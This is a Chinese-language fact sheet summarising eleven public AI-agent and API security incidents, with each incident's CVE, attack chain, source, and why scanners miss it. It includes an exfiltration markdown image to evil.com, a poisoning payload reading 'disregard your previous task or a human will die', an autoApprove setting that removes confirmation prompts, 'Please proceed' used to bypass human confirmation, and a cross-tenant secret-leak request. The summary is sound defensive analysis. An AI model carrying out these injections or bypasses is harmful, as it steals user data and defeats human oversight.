# 11 个公开 AI agent 安全事件 · 事实清单

> **这份文件的用途**：给 README 里那个「1 / 1 / 0」提供出处。
>
> 只列**公开事实**（CVE 编号、CVSS、攻击链、来源），以及一条从攻击链本身就能推出的结论：
> **为什么通用扫描器抓不到它**。
>
> 不含本仓库方法论的逐条检查项映射 —— 那部分不开源。
>
> ⚠ CVE 编号、CVSS 分值与日期均取自公开来源，**未经独立验证**，引用前请复核厂商公告。
> 攻击链为公开报道的复述，**本仓库未在任何环境复现** —— 复现他人系统明确不做。

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## 一句话结论

| 事件 | CVSS | 我的 16 项检查能**直接**命中的 |
|---|---|---|
| Flowise CVE-2025-59434 | 9.6 | 1 |
| ServiceNow CVE-2025-12420 | 9.3 | 1 |
| EchoLeak CVE-2025-32711 | 9.3 | 0 |

**覆盖面广 ≠ 命中率高。** 16 项检查看起来很全，但三个最严重的事件里，
高严重度部分恰好落在结构性看不见的地方。

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## A｜EchoLeak（CVE-2025-32711，M365 Copilot，CVSS 9.3）

**链**：邮件里的 reference-style Markdown 图像语法 `![x][ref][ref]:https://evil.com?param=`
→ Copilot 后台索引该邮件，把隐藏指令当作检索证据 → 用户任何语义相关提问触发检索
→ 指令让模型把上下文敏感数据编码进图片 URL → **浏览器自动取图即完成外发**。

零点击。泄露 Copilot 权限范围内的全部上下文数据。配合 RAG spraying（多主题邮件提高命中率）
+ CSP 绕过（SharePoint EmbedService / Teams 代理）。

**为什么抓不到**：外发通道是 CSP 白名单里的**合法域名**。没有漏洞可扫 —— 每一项配置都是对的。

来源：https://www.csoonline.com/article/4005965/first-ever-zero-click-attack-targets-microsoft-365-copilot.html （2025-06）

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## B｜ForcedLeak（Salesforce Agentforce，CVSS 9.4）

**链**：Web-to-Lead 表单 Description 字段（42000 字符上限）藏多步指令 → 员工用 AI 查询让
Agentforce 处理新线索 → agent 同时执行合法请求与隐藏脚本 → 查询 CRM 敏感线索 → 塞进图片 URL 外发。

**最狠的细节**：CSP 白名单里一个**已过期域名**被攻击者以 **5 美元**买回。

**为什么抓不到**：过期/闲置白名单域名是**配置生命周期**问题，不是配置正确性问题。扫描器只看当前状态。

来源：https://www.aviatrix.com/threat-research-center/salesforce-2025-prompt-injection-customer-data-leak/ （2025-09）

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## C｜CVE-2025-53773（GitHub Copilot / VS Code "YOLO mode"，CVSS 7.8）

**链**：公共仓库 README / 源码注释 / issue 里的隐藏指令 → Copilot 当成操作指令
→ 写入 `.vscode/settings.json` 的 `chat.tools.autoApprove: true` → 所有工具确认框消失
→ 执行任意终端命令 → 可写回仓库形成蠕虫（研究者称 ZombAI）。

**性质**：**注入 → 改自身权限 → RCE**，三段式放大。

**为什么抓不到**：这是**能力授予**问题，不是文本检测问题。注入载体是自然语言祈使句，
语法结构与正常代码注释无法用模式区分。

来源：https://embracethered.com/blog/posts/2025/github-copilot-remote-code-execution-via-prompt-injection/ （2025-06）

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## D｜Anthropic mcp-server-git 三漏洞（CVE-2025-68143 / 68144 / 68145）

**链**：恶意 README/issue 正文 → LLM 把指令转为工具调用参数 → `git_init` 无路径校验可在
`~/.ssh` 建仓；`--repository` 边界未校验可越出目标仓；`git_diff`/`git_checkout` 参数直传 git CLI，
注入 `--output=` 覆写任意文件 → 再借 Filesystem MCP 写恶意 `.git/config` clean filter，
`git_add` 触发执行 → RCE。

**为什么这个案例最有价值**：出问题的是**官方参考实现**。

**为什么抓不到**（部分）：跨服务器组合爆炸半径 —— 需「Git + Filesystem 两个 server 组合」才成立，
**单 server 审计看不到组合爆炸**。本仓库的 `probe_combo.py` 就是为此写的。

来源：https://cyber-reports.com/three-flaws-in-anthropic-mcp-git-server-enable-file-access-and-code-execution-2/ （2026-01）

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## E｜RAGPoison（Snyk Labs）

**链**：默认配置**无认证**的 Qdrant 写入接口 → 为每个 384 维 embedding 的每一维生成
±0.0001 偏移的邻近点，payload 固定为 `disregard your previous task or a human will die`
→ 179 个 section 共 **274,944 个投毒点**，约 80 秒写完 → 目标 query 检索时攻击内容相似度
排名高于原文案，首先被召回。

**性质**：提示注入从「一次性」变成**持久化**，污染持续到全量重建索引为止。日志与响应表面完全正常。

**为什么抓不到**（部分）：payload 文本本身无害、无恶意 URL、格式合法 —— 被操纵的是**坐标**，
不是内容。已入库后缺文档级血缘时无法溯源。

来源：https://labs.snyk.io/resources/ragpoison-prompt-injection/ （2025-08-18）

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## F｜Slack AI 间接注入数据外泄（PromptArmor）

**链**：攻击者只需在自己创建的**公开频道**发一条含指令的消息 → 任何成员提问时 Slack AI
检索并总结该频道 → 按指令跨频道取**私有频道**内容（含 API key），拼进 Markdown 链接渲染
→ 外泄 + 定向钓鱼（「点击重新认证」）。

**最狠的一点**：**AI 检索范围 ⊋ 用户权限范围**。

**为什么抓不到**：这是**产品设计**问题，不是可扫描的漏洞。

来源：https://www.darkreading.com/cyberattacks-data-breaches/slack-ai-patches-bug-that-let-attackers-steal-data-from-private-channels （2024-08）

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## G｜Flowise Cloud 跨租户密钥泄露（CVE-2025-59434，CVSS 9.6）

**链**：注册免费账号 → `POST /api/v1/node-custom-function`，在 Custom JavaScript Function 节点里
`return Object.keys($vars)` → `$vars` 越过 workspace 边界注入全平台变量 → 取出 **514 个变量名**
并可直读值（`OPENAI_API_KEY`、`AWS_SECRET_ACCESS_KEY`、`SUPABASE_SERVICE_ROLE_KEY`、`SLACK_BOT_TOKEN`…）。

**为什么抓不到**（部分）：越权主体不是「用户」，是 **agent 的运行时上下文**。
无 actor 归属线索时无法区分「合法读自己变量」与「读到别人」。

来源：https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-435c-mg9p-fv22

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## H｜ServiceNow Now Assist "BodySnatcher"（CVE-2025-12420，CVSS 9.3）

**链**：
1. 攻击者持**全局共享静态密钥 `servicenowexternalagent`**（**所有客户实例相同**）
2. 调 Virtual Agent API，配合 Auto-Linking **仅凭目标邮箱**即绑定为该用户（**跳过密码/MFA/SSO**）
3. 触发隐藏 topic `AIA-Agent Invoker AutoChat`，调用随 Now Assist **默认可用**的 Record Management AI Agent
4. 该 agent **可写任意表** → 一句自然语言即在 `sys_user` 建号并赋 admin 角色
5. 研究者称还可用 "Please proceed" **绕过 supervised mode 的人工确认**

**为什么这是教科书案例**：
> 若只有 API 而无 agent，这仅是一次受限 API 越权。
> **agent 层把「读数据」变成「以管理员身份机器速度改状态」。**
> 越权半径由 **agent 的权限**决定，而非攻击者的技能。
> AppOmni 称之为 **agentic amplification**。

**为什么抓不到**：凭据合法、scope 合法、endpoint 合法、请求合法。
BOLA / BFLA 类检查全部放行 —— 报告会是一片绿。

来源：https://www.ampcuscyber.com/shadowopsintel/cve-2025-12420-broken-authentication-and-privileged-workflow-execution-in-servicenow （2025-10）

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## I｜Salesloft Drift / UNC6395（700+ 组织受影响）

**链**：钓鱼取得 **Drift 第三方应用的 OAuth + refresh token** → 冒充受信应用直连各客户
Salesforce API（**凭 token 即授权，无 MFA、无用户交互**）→ 跑 SOQL 批量导出
User/Account/Opportunity/Case → 删除异步查询作业痕迹 → 从 Case 正文二次 harvesting
AWS `AKIA` 密钥、VPN 凭据、Snowflake token。

**与案例 H 同构但方向相反**：边界不在 API，而在**谁被授予了 token**。
每次调用在 scope、endpoint、频率上完全正常，**行为基线检测必然失效**。

**为什么抓不到**：所有调用挂在一个**非人身份**（"Drift"）下，没有真实用户主体可追溯。
真正的缺陷是**授权粒度与凭证生命周期**，多数检查项没有对应概念。

来源：https://cloud.google.com/blog/topics/threat-intelligence/data-theft-salesforce-instances-via-salesloft-drift （2025-08）

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## J｜tl;dv（Firestore 少一条规则，181,874 场会议裸奔）

**链**：任意已登录用户凭其 session → 越过「每用户仅见自己数据」隔离规则 → 可枚举 meetings
collection，拿到 18 万+ 场会议记录、8 万+ 用户、创建者邮箱 → 用 meeting ID 冒充 AI 记要员入会
（测试约 80% 成功）→ 27,000+ meeting ID 中 1,000+ 可公开检索到与会者邮箱与转录文本。

**性质**：除该 collection 外**隔离是正常的** —— 一个「配置默认值未收紧」的单点把合规系统
变成全球会议间谍网。且 **agent（bot）自身是高权限参会者，无人质疑其存在**。

**为什么抓不到**（部分）：「该 collection 是否本就该开放」需要业务语义，工具无法自证。

来源：https://www.darkreading.com/application-security/ai-notetaker-spy-government-corporate-video-calls （2026-08）

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## K｜Optus（API1:2023 BOLA 基准，980 万客户）

**链**：无需任何凭证 → `GET /users/{userId}` 直接返回完整 PII → contactID 逐个 +1 遍历，
脚本化全量导出姓名、生日、住址、电话、邮箱、护照号。

**性质**：同一接口在 App 内**是**鉴权正常的，暴露在公网的那个实例却没有 ——
**「本该安全」因部署位置不同而失效**。

**为什么抓不到**（部分）：无鉴权端点需先由**资产清单**发现该接口存在，
单纯的「有没有鉴权」检查覆盖不到**不知道存在的接口**。